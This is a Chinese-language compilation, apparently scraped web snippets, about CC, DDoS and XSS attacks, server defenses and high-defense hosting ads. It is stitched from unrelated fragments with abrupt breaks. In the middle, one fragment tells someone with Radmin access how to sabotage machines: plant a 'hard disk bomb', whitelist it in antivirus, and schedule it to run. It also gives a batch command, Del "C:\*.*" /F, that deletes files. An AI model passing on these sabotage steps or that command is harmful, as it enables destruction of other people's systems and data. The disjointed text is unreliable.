CC攻击是DDoS攻击的一种类型，使用代理服务器向受害服务器发送大量貌似合法的请求。CC根据其工具命名，攻击者使用代理机制，利用众多广泛可用的免费代理服务器发动DDoS攻击。许多免费代理服务器支持匿名模式，这使追踪变得非常困难。
CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽，一直到宕机崩溃。CC主要是用来攻击页面的，每个人都有这样的体验：当一个网页访问的人数特别多的时候，打开网页就慢了，CC就是模拟多个用户不停地进行访问那些需要大量数据操作的页面，造成服务器资源的浪费，CPU长时间处于100%，永远都有处理不完的连接直至网络拥塞，正常的访问被中止。
1. XSS攻击原理
XSS原称为CSS(Cross-Site Scripting)，因为和层叠样式表(Cascading Style Sheets)重名，所以改称为XSS(X一般有未知的含义，还有扩展的含义)。XSS攻击涉及到三方：攻击者，用户，web server。用户是通过浏览器来访问web server上的网页，XSS攻击就是攻击者通过各种办法，在用户访问的网页中插入自己的脚本，让其在用户访问网页时在其浏览器中进行执行。攻击者通过插入的脚本的执行，来获得用户的信息，比如cookie，发送到攻击者自己的网站(跨站了)。所以称为跨站脚本攻击。XSS可以分为反射型XSS和持久性XSS，还有DOM Based XSS。(一句话，XSS就是在用户的浏览器中执行攻击者自己定制的脚本。)
要看是被什么攻击了
如果是DDOS攻击，就上高防服务器或者用CDN
如果是CC攻击，就做全站静态化，屏蔽可以IP，启用CDN的真人识别
当然，如果钱够多技术够厉害，做分布式节点最好
机房的攻击分好多种如下:DoS攻击、DDoS攻击和DRDoS攻击，大多数是比较致命的是DDOS。DDOS是使用好多的机器对目标机器一起发动DoS攻击，一般由个人通过操控自己在网络上占领很多的“肉鸡”，并且控制这些“肉鸡”来发动DDoS攻击，属于分布式攻击。
一般处理措施：
1.确保服务器的系统文件是最新的版本，并及时更新系统补丁。
2.关闭不必要的服务。
3.限制同时打开的SYN半连接数目。
Radmin权限不是很大啊。我给你几个方法：方案一：先去下载个硬盘炸弹，放在个隐蔽的文件夹里，然后在杀毒软件内加上个信任，让杀软不把这个东东k了。接下来可以加一个计划任务，定时执行硬盘炸弹。等你回家过年的路上，硬盘炸弹运行，每台机子都OVER。效果：无法开机方案二：先把以下代码保存成一个bat文件，然后同样在杀毒软件内加上个信任。Del
"C:\*.*
"
/F
DDOS是什么意思？其实DDOS就是DDOS攻击，是一种技术。DDOS全称为Distributed Denial of Service，中文名为分布式拒绝服务攻击，是一种常见的服务器攻击技术。
DDOS攻击的原理
DDOS攻击最初被人们成为DOS（Denial of Service）攻击，DOS攻击的原理是：你有一台服务器，我有一台个人电脑，我就用我的个人电脑想你的服务器发送大量的垃圾信息，拥堵你的网络，并加大你处理数据的负担，降低服务器CPU和内存的工作效率。
1、切断网络
对服务器所有的攻击都来源于网络，因此，当服务器遭受攻击的时候，首先就要切断网络，一方面能够迅速切断攻击源，另一方面也能保护服务器所在网络的其他主机。
2、查找攻击源
要根据自身经验和综合判断能力，通过分析系统日志或登录日志文件，找出可疑信息，分析可疑程序。
3、分析入侵原因和途径
一定要查清楚遭受攻击的具体原因和途径，有可能是系统漏洞或程序漏洞等多种原因造成的，只有找到问题根源，才能够及时修复系统。
抗攻击服务器就是说你所在机房带硬件防火墙，所在服务器起到防御攻击的作用，硬件防火墙用来防御常见的DDOS攻击，DDOS攻击等，用来防御服务器不受到外来攻击的危害。
美国防御大型攻击的机房简称美国高防机房，高防：有低防，就有高防，低防：1-5G的攻击 ，高防：5G以上的攻击。
美国BR机房：能够有效防御200G的机房， 定位于高防御服务器，所有服务器均有高防御保护能够对SYN、UDP、ICMP、HTTP GET等各类DoS攻击进行防护，100G防火墙集群。
通常地，大多数Web站点的设计目标都是:以最易接受的方式，为访问者提供即时的信息访问。在过去的几年中，越来越多的黑客、病毒和蠕虫带来的安全问题严重影响了网站的可访问性，尽管Apache服务器也常常是攻击者的目标，然而微软的Internet信息服务(IIS)
Web服务器才是真正意义上的众矢之的。
高级教育机构往往无法在构建充满活力、界面友好的网站还是构建高安全性的网站之间找到平衡点。另外，它们现在必须致力于提高网站安全性以面对缩减中的技术预算
犯法，无法避免。
网络攻击（Cyber Attacks，也称赛博攻击）是指针对计算机信息系统、基础设施、计算机网络或个人计算机设备的，任何类型的进攻动作。对于计算机和计算机网络来说，破坏、揭露、修改、使软件或服务失去功能、在没有得到授权的情况下偷取或访问任何一计算机的数据，都会被视为于计算机和计算机网络中的攻击。
主动攻击
主动攻击会导致某些数据流的篡改和虚假数据流的产生。这类攻击可分为篡改、伪造消息数据和终端（拒绝服务）。
